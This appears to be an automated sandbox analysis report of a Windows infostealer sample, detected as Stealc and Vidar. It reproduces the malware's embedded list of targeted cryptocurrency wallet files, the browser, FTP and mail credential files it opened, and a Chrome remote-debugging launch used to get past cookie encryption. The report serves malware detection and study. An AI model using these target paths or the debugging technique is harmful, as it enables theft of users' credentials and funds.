Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.
Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystorep
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystorep
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystorep
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7432, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2055685858.0000000000441000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2056482059.000000000130E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1693152043.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7432, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720C40 sqlite3_bind_zeroblob,	0_2_6C720C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720D60 sqlite3_bind_parameter_name,	0_2_6C720D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648EA0 sqlite3_clear_bindings,	0_2_6C648EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C720B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646410 bind,WSAGetLastError,	0_2_6C646410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646070 PR_Listen,	0_2_6C646070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C64C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C030 sqlite3_bind_parameter_count,	0_2_6C64C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460B0 listen,WSAGetLastError,	0_2_6C6460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22D0 sqlite3_bind_blob,	0_2_6C5D22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6463C0 PR_Bind,	0_2_6C6463C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649400 sqlite3_bind_int64,	0_2_6C649400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6494F0 sqlite3_bind_text16,	0_2_6C6494F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6494C0 sqlite3_bind_text,	0_2_6C6494C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649480 sqlite3_bind_null,	0_2_6C649480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	23 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	23 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	12 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	236 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
